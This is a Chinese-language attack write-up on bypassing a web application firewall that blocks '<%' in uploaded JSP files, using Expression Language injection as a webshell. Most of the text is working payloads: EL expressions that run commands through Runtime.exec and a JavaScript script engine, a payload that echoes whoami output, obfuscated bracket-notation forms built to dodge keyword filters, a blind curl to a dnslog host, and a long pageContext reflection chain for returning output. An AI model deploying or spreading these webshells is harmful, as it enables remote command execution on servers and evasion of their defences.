问题来源

一个文件上传点有waf
628319c654ed9bbba2b25972295c175.jpg
JSP绕过<%标签 - 图2
只要存在<%就会被拦截,从上传文件可以看到h1标签被解析了
51531f0bbbbde59f6f98115e5814ad7.jpg

绕过思考

无回显

jsp中可以使用el表达式
所以我们可以使用和el表达式注入一样的方法构造webshell

  1. //无回显
  2. ${Runtime.getRuntime().exec(param.cmd)}
  3. ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("javascript").eval(param.aef1)}

image.png
image.png

image.png

在jspstudy中可以看到是正常解析并且执行命令了
image.png
目标上传上去确实一片空白

有回显利用方式


  1. //使用js脚本引擎回显执行
  2. ${''.getClass().forName(param.aef).newInstance().getEngineByName("javascript").eval(param.aef1)}

其实就是表达式不同而已

  1. aef1=var s = [3];s[0] = "cmd";s[1] = "/c";s[2] = "whoami";var p = java.lang.Runtime.getRuntime().exec(s);var sc = new java.util.Scanner(p.getInputStream(),"GBK").useDelimiter("\\A");var result = sc.hasNext() ? sc.next() : "";sc.close();result;

image.png
image.png

混淆

el 表达式中还是会出现 Runtime、ScriptEngineManager 等关键词,即使使用反射也还一定会有 forName 的函数名的出现,可能会被关键词命中。 其实在 el 表达式中,是可以类似 js 一样,使用 a["b"] 或者 a.b 这两种方法来获取属性的,如果把函数名或者属性变成字符串,那去混淆就简单多了,比如

  1. ${''.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("javascript").eval(param.aef1)}

变换成

  1. ${""["getClass"]()["forName"]("javax.script.ScriptEngineManager")["newInstance"]()["getEngineByName"]("JavaScript")["eval"](param.aef1)}

image.png
其中每一个字符串都可以使用 param.xxx 的参数来替换,或者使用 el 表达式进行拼接转换,比如

  1. ${""["get"+="Class"]()[param.a](param.b)[param.c]()["getEngineByName"]("JavaScript")["eval"](param.aef1)}

image.png

简要原理

EL表达式多用于JSP,官方给出的El表达式的example:
https://javaee.github.io/tutorial/jsf-el007.html

EL表达式支持基础的计算和函数调用。并且在EL表达式中还提供隐式对象以便开发者能够获取到上下文变量。

基础的EL表达式可参考文章:
https://www.tutorialspoint.com/jsp/jsp_expression_language.htm

在EL表达式中,要做到执行Runtime#exec并不难,只需要一行表达式:

运行Runtime#exec

  1. EL表达式中,要做到执行Runtime#exec并不难,只需要一行表达式:
  2. ${Runtime.getRuntime().exec("cmd /c curl xxx.dnslog.cn")}
  3. 可这样子只能做基本的检测和盲打,如果目标不出网或不知道网站绝对路径时,将不方便EL进行探测
  4. 写普通的Java代码的话,我们知道可以使用inputStream()来获取Runtime#exec的输出,然后打印出来,如下:
  5. try {
  6. InputStream inputStream = Runtime.getRuntime().exec("ipconfig").getInputStream();
  7. Thread.sleep(300); //睡0.3秒等InputStreamIO,不然`availableLenth`会是0
  8. int availableLenth = inputStream.available();
  9. byte[] resByte = new byte[availableLenth];
  10. inputStream.read(resByte);
  11. String resString = new String(resByte);
  12. System.out.println(resString);
  13. } catch (Exception e) {
  14. e.printStackTrace();
  15. }

image.png 不过EL表达式的实现其实是由中间件(Tomcat)进行解析,然后反射调用的。所以实际上写EL表达式只能写函数调用,不能在EL表达式中写诸如 new String();、int a; 这些操作 但正常函数调用是能用的,比如本节开头执行Runtime#exec的表达式。


EL表达式中有许多隐式对象,如pageContext,可以通过这个对象保存属性,如

image.png
故我们可以

  1. 使用pageContext保存Runtime#exec的inputStream
  2. inputStream#read会将命令执行结果输入到一个byte[]变量中,但EL表达式不能直接创建变量。得想办法找到一个存在byte[]类型变量的对象,借用该对象的byte[]作为inputStream#read的参数
  3. 使用反射创建一个String,并将第2步的byte[]存入这个String中
  4. 输出该String

最终效果

  1. ${pageContext.setAttribute("inputStream", Runtime.getRuntime().exec("cmd /c dir").getInputStream());Thread.sleep(1000);pageContext.setAttribute("inputStreamAvailable", pageContext.getAttribute("inputStream").available());pageContext.setAttribute("byteBufferClass", Class.forName("java.nio.ByteBuffer"));pageContext.setAttribute("allocateMethod", pageContext.getAttribute("byteBufferClass").getMethod("allocate", Integer.TYPE));pageContext.setAttribute("heapByteBuffer", pageContext.getAttribute("allocateMethod").invoke(null, pageContext.getAttribute("inputStreamAvailable")));pageContext.getAttribute("inputStream").read(pageContext.getAttribute("heapByteBuffer").array(), 0, pageContext.getAttribute("inputStreamAvailable"));pageContext.setAttribute("byteArrType", pageContext.getAttribute("heapByteBuffer").array().getClass());pageContext.setAttribute("stringClass", Class.forName("java.lang.String"));pageContext.setAttribute("stringConstructor", pageContext.getAttribute("stringClass").getConstructor(pageContext.getAttribute("byteArrType")));pageContext.setAttribute("stringRes", pageContext.getAttribute("stringConstructor").newInstance(pageContext.getAttribute("heapByteBuffer").array()));pageContext.getAttribute("stringRes")}


image.png